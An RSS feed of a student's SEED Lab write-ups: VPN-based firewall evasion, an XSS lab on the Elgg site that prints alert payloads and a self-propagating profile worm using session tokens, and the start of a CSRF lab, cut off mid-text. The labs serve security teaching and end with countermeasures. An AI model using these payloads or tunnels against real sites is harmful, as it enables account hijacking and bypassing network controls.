<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roman Zaib on Medium]]></title>
        <description><![CDATA[Stories by Roman Zaib on Medium]]></description>
        <link>https://medium.com/@aquarz555?source=rss-43952f5517cd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ewpdIVwBLYSio4uegbL8Zw.png</url>
            <title>Stories by Roman Zaib on Medium</title>
            <link>https://medium.com/@aquarz555?source=rss-43952f5517cd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 23:42:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aquarz555/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SeedLab: Firewall Evasion with a VPN Solution]]></title>
            <link>https://medium.com/@aquarz555/seedlab-firewall-evasion-with-a-vpn-solution-50699c5d9da5?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/50699c5d9da5</guid>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[seed-lab]]></category>
            <category><![CDATA[bypassing-firewall-by-vpn]]></category>
            <category><![CDATA[firewall-invasion]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 06:26:07 GMT</pubDate>
            <atom:updated>2026-04-28T06:26:07.079Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icHOki58mwGats2vQpzw8g.png" /></figure><h3>1. Introduction:</h3><p>This lab illustrates how an attacker (or legitimate administrator) can bypass a simple outbound firewall rule on a client VM to access a target system by routing traffic through a VPN tunnel to a server VM that has access to the external network. The lab is executed with two VirtualBox VMs on a NAT network:</p><p>● <strong>Client (VM1)</strong> — 10.0.2.4</p><p>● <strong>Server (VM2)</strong> — 10.0.2.6</p><p>● <strong>Target</strong> — telehack.com (64.13.139.230)</p><p>We put a firewall rule in place on the client to deny that client direct traffic to the target, and created a point-to-point VPN (user-space TUN/TAP programs) between client and server (tun0). The server is configured with IP forwarding and NAT, enabling the client’s traffic to exit using the server’s interface, thereby bypassing the block on the client-side.</p><h3>2. Lab Tasks &amp; Key Actions</h3><h4>2.1 TASK 1 — VM Setup</h4><p>● VMs placed on VirtualBox NAT network; confirmed both VMs have internet connectivity:</p><p>○ ping 8.8.8.8 — successful on both client and server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*V5Cl2uoA7QufTFxqT2mtbg.png" /></figure><p>● Verified client-server connectivity:</p><p>○ ping 10.0.2.6 from client and vice versa — successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*rdUL3dLFsfH2pDt7uPOmnQ.png" /><figcaption>Client</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Xzm_N2TvPwVP70Ke_7kaUw.png" /><figcaption>Server</figcaption></figure><h4>2.2 TASK 2 — Set up Firewall on Client</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Dw_gsGK80jFnguDBPrWl2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*No5uaPCiiws76jdDbN0xiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*ioIe_axxQgQbbXJslIxuSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*XH02u23K_sK9BQ0dH1fbeA.png" /></figure><p>● Utilized ufw to deny traffic originating from the client back out to telehack.com:</p><p>○ Example: sudo ufw deny out on en03 to 64.13.139.230</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*89Jt5dsBV5Wj6U6vIEC0mg.png" /></figure><p>● Confirmed block based on 2 approaches:</p><p>○ ping 64.13.139.230 → 100% packet loss.</p><p>○ curl <a href="http://telehack.com/">telehack.com</a> V → network unreachable / no response.</p><p>● Captured traffic within Wireshark to demonstrate blocked attempts to telehack.com originating from the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*v-fxxHV_XPXnX9ybKRPVnw.png" /></figure><h4><strong>2.3 TASK 3 — Bypass the Firewall to Telehack.com using a VPN</strong></h4><h4>Step 1 — Run VPN Server</h4><p>● Ran vpn_server.c (simple TUN-based user-space VPN) on Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*htjXF0XG4BWYtZnP14yHzA.png" /></figure><p>● Assigned tun0 IP on server: 192.168.53.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*h7mp6KAlMRQ7BWoaLJ67Jg.png" /></figure><p>● Enabled IP forwarding: sudo sysctl net.ipv4.ip_forward=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*T6FFWE_Tog3bT9kCAmV0Dg.png" /></figure><p>● Confirmed tun0 exists with ip 192.168.53.1 using ifconfig/ip addr.</p><h4>Step 2 — Launch VPN Client</h4><p>● Modified vpn_client.c in order to point to the server IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*36t0PI0q2eRYrl5Uuthnlw.png" /></figure><p>● Ran vpn_client.c on Client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*vVHV0bL5U_MIoA66Sehckw.png" /></figure><p>● Assigned tun0 IP on client: 192.168.53.5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*-GTNqHzBpw3rMXLv7_MgIg.png" /></figure><p>● Confirmed tun0 exists with ip 192.168.53.5 using ifconfig/ip addr.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*q1uSFTZBNsGK1pfoUB1tMg.png" /></figure><p>● Handshake/connection confirmed by “Hi” message in server console (or equivalent connection log).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*QBXUnHAv53bsFAgrW3BdyQ.png" /></figure><h4>Step 3 — Configuration of Routing on the Client and Server</h4><p>● Client: Set route for target over tun0: sudo ip route add -net 192.168.53.0 netmask 255.255.255.0 dev tun0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*2e1bh7SzfuH3kGPwgS2Ztg.png" /></figure><p>● Server: Set route back to client via tun0 (if needed): sudo ip route add -net 192.168.53.0 netmask 255.255.255.0 dev tun0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*8lqHLZLDTj33DCKxzsupOQ.png" /></figure><p>● Test to confirm connectivity of the tunnel:</p><p>○ ping 192.168.53.1 from client → success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*nZHTH0FgzzUNvRBfrXg0GA.png" /><figcaption>Client</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*1PmEXBRG2hqfRaFbu6YzGw.png" /><figcaption>Server</figcaption></figure><p>○ ssh to ssh over tun0 between client and server → success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*L0zPQPUHKtA5WNsG6rGO_w.png" /><figcaption>Client</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*a8MpXLamEzgjrotr67a7QQ.png" /><figcaption>Server</figcaption></figure><h4>Step 4 — Configure NAT on Server</h4><p>In order to allow traffic from the client to exit the server’s external interface, I added a MASQUERADE rule:</p><p>● You may need to persist or reapply this based on how the experiment proceeds.</p><p><strong>Step 5 — Bypassing a Firewall via tun0</strong></p><p>● After performing the routing and NAT, the client again attempted to access telehack.com:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*8QIkCilmCZ3663G-R_GYGg.png" /></figure><p>○ ping 64.13.139.230 → success (packets traverse tun0 → server → internet).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*3BTzdjTH32PtZYH96DnXYw.png" /></figure><p>○ curl <a href="http://telehack.com/">http://telehack.com</a> → response successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*eStSIJCH7KstpYU8Al4VGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*p6hEYJToV-p_WH8i5YfXSQ.png" /></figure><p>● Wireshark captures indicated:</p><p>○ On the client: traffic was visible on the tun0 interface (encrypted or encapsulated based on the approaching implementation)</p><p>○ On the server: captured traffic leaved out via eth0 to telehack.com.</p><p>● In addition, the client firewall rule was still active (ufw deny out), confirming that tunneling bypassed the firewall rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*2t-L1NHQTooLhrGwJ_pnsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*hPtNh28P7ihRsd4LnP8Xyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*qFVVm-lYeerD_fw74VYAbQ.png" /></figure><h3>3. Results / Observations</h3><p>● A simply deny outbound access rule on the client can be bypassed if the client can establish an or encrypted tunnel to a server that has outbound access.</p><p>● The VPN tunnel (tun0) successfully carried client traffic outward, NAT on the server allowed the request to reach telehack.com.</p><p>● Wireshark and tcpdump confirmed that the packets that had for previously been blocked, were no longer traversing the standard client and went to the tun interface and out of the server.</p><p>● SSH over tun0 worked, demonstrating full IP-layer traffic across the tunnel</p><h3>4. Conclusion</h3><p>This lab illustrates that firewall rules such as an outbound-deny rule at the host level (rules set to deny anything) isn’t sufficient when clients can establish VPN tunnels to application servers outside of the network. A defense-in-depth strategy that provides the ability to contain or restrict unauthorized tunnels is required:</p><p>● <strong>Preventing VPN Tunnels </strong>— restrict the ability create pure tunneling, disallow VPN port/protocols at the network edge, or allow-list applications.</p><p>● <strong>Egress filtering at the network perimeter </strong>— reject unknown/unauthorized destinations or ports at the corporate firewall or ISP connection.</p><p>● <strong>Network monitoring/IDS</strong> — provide anomalous behavior detection relative to outbound tunnels and identify other unusual traffic patterns (sustained connections with unknown endpoints)</p><p>●<strong> Endpoint controls</strong> — EDR/endpoint policy that prevents unauthorized network interfaces from creating tunneled interfaces or unauthenticated binaries from creating tun/tap devices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50699c5d9da5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SeedLab: Cross-Site Scripting(XXS) Attack Writeup]]></title>
            <link>https://medium.com/@aquarz555/seedlab-cross-site-scripting-xxs-attack-writeup-f01654aab2fc?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f01654aab2fc</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[lab-solution]]></category>
            <category><![CDATA[speed-labs]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 07:44:22 GMT</pubDate>
            <atom:updated>2026-04-02T07:44:22.564Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Cross-Site Scripting (XSS) is a common web application vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can execute in the victim’s browser, leading to unauthorized actions such as cookie theft, session hijacking, or spreading malicious code. This lab focuses on understanding how XSS attacks work using the Elgg web application in a controlled environment. Through practical tasks, it demonstrates how attackers exploit weak input validation and how such vulnerabilities can be mitigated. The objective is to gain hands-on experience in both exploiting and defending against XSS attacks.</p><h3>2. Lap Environment Setup</h3><p>Open website <a href="https://seedsecuritylabs.org/Labs_20.04/Web/Web_XSS_Elgg/">https://seedsecuritylabs.org/Labs_20.04/Web/Web_XSS_Elgg/</a> in seed ubuntu seed vm and download labsetup.zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*4yXbaO-VcKpfEa-gsV1mZg.png" /></figure><p>Unzip the file.</p><h3>2.1 DNS Setup</h3><p>Remove all containers and add (10.9.0.5 <a href="http://www.seed-server.com/">www.seed-server.com</a>) in \etc\hosts file by following command:</p><pre>sudo gedit \etc\hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*YzlLzAYKb33VwJuK4HI-sw.png" /></figure><h3>2.2. Container Setup and Commands</h3><p>Write some commands to build and start Docker:</p><pre>docker-compose build # Build the container image</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*0FtZ-GzXAXdFLspCwfQbAg.png" /></figure><pre>docker-compose up # Start the container</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*2__jXjC_qG9des5No6GiRw.png" /></figure><p>All the containers continue to run in the background, thus needing us to maintain an open shell to issue any of the commands on the container.</p><pre>dockps<br>docksh &lt;id&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*4YoHA2IDhSPKB8CeMO2RrA.png" /></figure><p>Apache configuration: Restart apache. We use an open-source web application called Elgg; its URL is <a href="http://www.seed-server.com./">http://www.seed-server.com.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*HSNevHIxLMt7lRMVL01H2Q.png" /></figure><h3>3. Lab Tasks</h3><h4>3.1. Preparation</h4><p>In order to capture and analyze HTTP requests, open the HTTP live header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*aLMit3VFKvcquiSTHBZnWw.png" /></figure><h4>3.2. Task 1</h4><p>Login to Elgg with Samy credentials, i.e., username = samy, password = seedsamy, given in the manual. Edit Samy’s profile by adding a script in the brief description area and saving the changes. The following JavaScript program will display an alert window:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;);&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*FrLXtuX0BDDQGqWUn_fFFQ.png" /></figure><p>Any user who opens Samy’s profile, will see that alert script on his window. For instance, login to Alice’s account by using credentials, i.e., username = alice, password = seedalice. Go to the Members tab and click Samy’s profile. an aler occur:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*kjZROcygNzCw3gvoUwBd_w.png" /></figure><h4>3.3. Task 2</h4><p>Edit Samy’s profile by adding a script in the About Me section so that it displays the message in the user’s window.</p><pre>&lt;script&gt;alert(document.cookie);&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*qghO2RQWrgFy7TSTJsbz4g.png" /></figure><p>When Alice clicks Samy’s profile, a cookie will be displayed in the form of an alert in his window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*lB5yg6vbxi4ohWDLTrqitw.png" /></figure><h4>3.4. Task 3</h4><p>The victim’s computer will serve as the source for our cookie collection. We implemented a JavaScript program in Samy’s profile which consists of the following code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*v0_8-HW0hKDFMMSkNpt8gg.png" /></figure><p>When we execute the JavaScript code, it helps to store cookies in the terminal window. . The command allows us to monitor the specified port while displaying all incoming data which reaches that port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*4golDjKMWcn-Di4MdD8ZHg.png" /></figure><h4>3.5 Task 4</h4><p>Open Samy’s profile, go to the edit section, and view page source to see the guid, which is 59.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*k4HQZRvs1Na9oxy9Ww_8zg.png" /></figure><p>We will write an XSS worm that adds Samy as a friend to any other user that visits Samy’s page. We have to inject code (the worm) into Samy’s profile. Open a terminal and make addfriends.js, then write the below malicious code and add guid 59 in it.</p><pre>&lt;script type=&quot;text/javascript&quot;&gt;<br>window.onload = function () {<br>var Ajax=null;<br>var ts=&quot;&amp;__elgg_ts=&quot;+elgg.security.token.__elgg_ts;<br>var token=&quot;&amp;__elgg_token=&quot;+elgg.security.token.__elgg_token;<br>//Construct the HTTP request to add Samy as a friend.<br>var sendurl=&quot;http://www.seed-server.com/action/friends/add?friend=59&quot; + token +ts; //FILL IN<br>//Create and send Ajax request to add friend<br>Ajax=new XMLHttpRequest();<br>Ajax.open(&quot;GET&quot;,sendurl,true);<br>//Ajax.setRequestHeader(&quot;Host&quot;,&quot;www.seed-server.com&quot;);<br>//Ajax.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);<br>Ajax.send();<br>}<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*2xrTbCBD804WhiJcbS0sfg.png" /></figure><p>Edit Samy’s profile and enter the above script in the About Me section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*3kk6glBqhwgxUO_dHuvhqA.png" /></figure><p>Open Alice’s profile and go to the Friends section. You will see Samy added as a friend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*GT0gy6GlMeJFDXKNqhWdLg.png" /></figure><h4>Answer of Question 1</h4><blockquote>The HTTP request will receive two parameters which (1) and (2) define as URL parameters. The data will contain a time stamp (elgg_ts) together with a security token (elgg_token). The purpose of these lines, therefore, is likely to cast both a time-based token and a security token into the Ajax request. This is quite normal in web applications for defense against certain attack types, including cross-site request forgery (CSRF)-attacks. Usually, the timestamp and security token will serve the purpose of validating that the request was in fact intended, thereby avoiding it being counted as a replay attack.</blockquote><h4>Answer of Question 2</h4><blockquote>The Elgg platform enables users to access the About Me field only through Editor mode which prevents Text mode access. The success of an attack remains uncertain because it hinges on the security weaknesses present in the application together with its handling of user input.</blockquote><h4>3.6. Task 5</h4><p>Our task requires you to create a new editprofile.js file which should contain the following code.</p><pre>&lt;script type=&quot;text/javascript&quot;&gt;<br>window.onload = function(){<br>//JavaScript code to access user name, user guid, Time Stamp __elgg_ts<br>//and Security Token __elgg_token<br>var userName=elgg.session.user.name;<br>var guid=&quot;&amp;guid=&quot;+elgg.session.user.guid;<br>var ts=&quot;&amp;__elgg_ts=&quot;+elgg.security.token.__elgg_ts;<br>var token=&quot;&amp;__elgg_token=&quot;+elgg.security.token.__elgg_token;<br>var samyGuid =59<br>var desc=&quot;&amp;description=Samy is my hero&quot;+&quot;&amp;accesslevel[description=2]&quot;<br>var content= ts + token +userName + desc +guid<br>//Construct the content of your url.<br>var sendurl=&quot;http://www.seed-server.com/action/profile/edit&quot;; //FILL IN<br>if(elgg.session.user.guid!=samyGuid)<br>{<br>//Create and send Ajax request to modify profile<br>var Ajax=null;<br>Ajax=new XMLHttpRequest();<br>Ajax.open(&quot;POST&quot;,sendurl,true);<br>Ajax.setRequestHeader(&quot;Host&quot;,&quot;http://www.seed-server.com&quot;);<br>Ajax.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br>Ajax.send(content);<br>}<br>}<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Ke_yPJzbGpwG7llKWNBJ_g.png" /></figure><p>A lot of information is filled in in the above code by analyzing the HTTP live header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*Yc-_M1-CFVyWL_rwplhdkg.png" /></figure><p>Edit Samy’s profile and enter the above script in the About Me section with text mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*VUQBpClljGpa4DqxtYE6Pw.png" /></figure><p>When Alice visits Samy’s profile, its profile will be modified:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*PTDtlFgRv-5wey88rNWMJQ.png" /></figure><h4>Answer of Questions 3</h4><blockquote>In line one, the idea is to have the attack script running on other people instead of on the attacker. The script would permit all users to run it after removing the restriction which stops the attacker from accessing the program.</blockquote><h4>3.7. Task 6</h4><pre>&lt;script type=&quot;text/javascript&quot;&gt;<br>window.onload = function(){<br>var headerTag = &quot;&lt;script od=\&quot;worm\&quot; type=\&quot;text/javascript\&quot;&gt;&quot;;<br>var jsCode = document.getElementByID(&quot;worm&quot;).innerHTML;<br>var tailTag = &quot;&lt;/&quot; + &quot;script&gt;&quot;;<br>// Put all the pieces together, and apply the URL encoding<br>var wormCode = encodeURLComponent(headerTag + jsCode + tailTag)<br>//Set the content of the description field and access level<br>var desc = &quot;&amp;description=Attacked&quot; + wormCode;<br>desc += &quot;&amp;accesslevel[description]=2&quot;;<br>//Get the name, guid, Time Stamp and token<br>var userName=elgg.session.user.name;<br>var guid=&quot;&amp;guid=&quot;+elgg.session.user.guid;<br>var ts=&quot;&amp;__elgg_ts=&quot;+elgg.security.token.__elgg_ts;<br>var token=&quot;&amp;__elgg_token=&quot;+elgg.security.token.__elgg_token;<br>var samyGuid =59<br>var desc=&quot;&amp;description=Samy is my hero&quot;+&quot;&amp;accesslevel[description=2]&quot;<br>var content= ts + token +userName + desc +guid<br>//Construct the content of your url.<br>var sendurl=&quot;http://www.seed-server.com/action/profile/edit&quot;; //FILL IN<br>if(elgg.session.user.guid!=samyGuid)<br>{<br>//Create and send Ajax request to modify profile<br>var Ajax=null;<br>Ajax=new XMLHttpRequest();<br>Ajax.open(&quot;POST&quot;,sendurl,true);<br>Ajax.setRequestHeader(&quot;Host&quot;,&quot;http://www.seed-server.com&quot;);<br>Ajax.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br>Ajax.send(content);<br>}<br>}<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*-KMKnNksyTgx9YFNPIhkkw.png" /></figure><p>Edit Samy’s profile and enter the above script in the About Me section with text mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*92Cwqu1sDDxB6Iol7XwHwg.png" /></figure><p>After saving the script, check members and click Alice, which is hacked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*speJZvOd7pKXf70zkU_mCQ.png" /></figure><p>Check Samy’s own profile; its hacked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*foMrlD8S2WhIGVrl2kwzcw.png" /></figure><p><strong>3.8 Elgg’s Countermeasures</strong></p><p>In the last attack, we learned about carrying out an attack to infect other users with a virus. In this task, we will learn how to activate countermeasures to prevent an attack. Switch on and off HTMLawed in the Elgg website by logging in as admin. After logging in as admin, click on the “”account”” tab in the right corner so that the administration page shows up, and then click plugins on the right bar. Activate HTMLawed and explain what you observed.</p><h3>4. Task 7</h3><p>In this task, we’ll see how to switch on the countermeasure to counter the attack. First, turn on and off HTMLawed in the Elgg website by logging in as admin. Next, after the admin login, click the “”account”” tab on the right corner to bring up the administration page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*u_PS8OuH9UjE-RPGHRQU0g.png" /></figure><p>Click on Plugins on the right side. Activate HTMLawed and describe your observation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Sk6d_HrN_4RvKHWi2dfOWw.png" /></figure><p>Secondly, turn on special character encoding for user input by opening the files “text.php, url.php, dropdown.php, and email.php” in the folder /var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output. Uncomment the corresponding “htmlspecialchars” function calls in each file and do not modify any other code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*yFe4szNulyvjbceG0fxFBg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f01654aab2fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SeedLab: Cross-Site Request Forgery (CSRF) Attack Lab Solution]]></title>
            <link>https://medium.com/@aquarz555/seedlab-cross-site-request-forgery-csrf-attack-lab-solution-bc9d5ce573fc?source=rss-43952f5517cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc9d5ce573fc</guid>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[seed-lab]]></category>
            <category><![CDATA[crosssiterequestforgery]]></category>
            <category><![CDATA[solutions]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Roman Zaib]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 07:59:53 GMT</pubDate>
            <atom:updated>2026-03-31T07:59:53.533Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction:</h3><p>Cross-Site Request Forgery (CSRF) is a vulnerability of web security that forces an authenticated user to execute unwanted actions on a web application. The report shows all the steps which were used to perform CSRF attack testing through SEED Labs environment and Elgg web application testing.</p><h3>2. Lab Environment Setup:</h3><p>In this lab, we will use three websites. The first website is the vulnerable Elgg site accessible at <a href="http://www.seed-server.com./">www.seed-server.com.</a> The second website is the attacker’s malicious website that is used for attacking Elgg. This website is accessible via <a href="http://www.attacker32.com./">www.attacker32.com.</a> The third website is used for the defense tasks, and its hostname is <a href="http://www.example32.com./">www.example32.com.</a> We use containers to set up the lab environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*xQgInIwQlP7805ObBiFfFQ.png" /></figure><p><strong>2.1. Container Setup and Commands:</strong></p><p>The VM needs to download Labsetup.zip from the lab website which needs to be extracted before using docker-compose.yml to create the laboratory environment from the Labsetup directory.</p><pre>dcbuild (build docker-compose)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*qGDCikdM2CCr8TWA0IZ-Uw.png" /></figure><pre>dcup (docker-compose up)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*C33ZeBZl23fDcaiLEeOzVg.png" /></figure><pre>dockps </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*RyQZkjUK40w9ohN4oU3rrQ.png" /></figure><h4>2.2. DNS configuration:</h4><pre>10.9.0.5 www.seed-server.com<br>10.9.0.5 www.example32.com<br>10.9.0.105 www.attacker32.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*JsjiKR0TTLoJX1v9GfPmEQ.png" /></figure><h3>3. Tasks: Attacks:</h3><h4>3.1 Task 1: Observing HTTP Request</h4><p>Open the browser and search <a href="http://www.seed-server.com/">www.seed-server.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*eyTdXHbk0Tg3vn0Ue8YlVg.png" /></figure><p>Open the browser and go to <a href="http://www.attacker32.com/">www.attacker32.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*z8kB1hJ154hgVpjDD_R_3g.png" /></figure><p>Open the browser and go to <a href="http://www.example32.com/">www.example32.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*AbMAMTbUA4PTwB51Mpve-Q.png" /></figure><p>Open the HTTP live header and login with credentials username = alice, password = seedalice given in the manual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*lahp4WSUk3bxgLiNgwbZXg.png" /></figure><p>After login, HTTP live header capture parameter (credentials and guid).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*iEqqPb36Q_Sn42iY7Ln3QA.png" /></figure><h4>3.2. Task 2: CSRF Attack using GET Request</h4><p>Login to Elgg with Samy credentials i.e.: username = samy, password = seedsamy, given in the manual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*-4G_31g2YpHOOl7m1YA7qg.png" /></figure><p>Go to the Members tab and click it to see members.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*9DMeBtylqS9hfytqgF-eVg.png" /></figure><p>Click Alice from members and open the HTTP live header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*-2ptXWpS9i1iRIbAxEQSNQ.png" /></figure><p>Click the Add Friend tab and the HTTP live header will capture the parameters i.e.: Alice guid = 56.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*BWQ73CZKnRyVYsAvCMgPxg.png" /></figure><p>Note the request URL and guid on the text editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*vzN_zKUvyMy81HUYgGqjaA.png" /></figure><p>Now on Elgg, Samy account, view page source and note Samy guid = 59.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*CGK1nMFYXxJBxHvmfVK7SQ.png" /></figure><p>Open attacker docker and alter the addfriend.html file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*4Dy1G3gdyplN-p2bIB4EqQ.png" /></figure><p>The script will run when any user logs in, it will automatically send a request to Samy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*_lPgI0CrCqgfAvC5z3_68w.png" /></figure><p>See the edited file using the cat command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*PJKjSvE70fay2E6Wkkzeaw.png" /></figure><p>On Elgg, log in to Alice’s account and see friends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*4WMuDqKcLEnhEJp3ZAA2-Q.png" /></figure><p>Suppose Alice clicks friend, the page forges HTTP to get request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*5IiEIYmWvAM4ueyBkNR6aw.png" /></figure><p>When we refresh the page, the script will execute, and Samy successfully added Alice’s Friend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*SVs-Vbst00SM5uZbi22eDw.png" /></figure><p>Samy added Alice’s friend because, of the Javascript code at the backend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*h_ok9czKoFAMWCKiOuOBSg.png" /></figure><h4>3.3. Task 3: CSRF Attack using POST Request</h4><p>Login to Samy’s account and edit your profile, write “Samy is My hero” in the description while “Samy is my hero 2” in the brief description.</p><figure><img alt="" 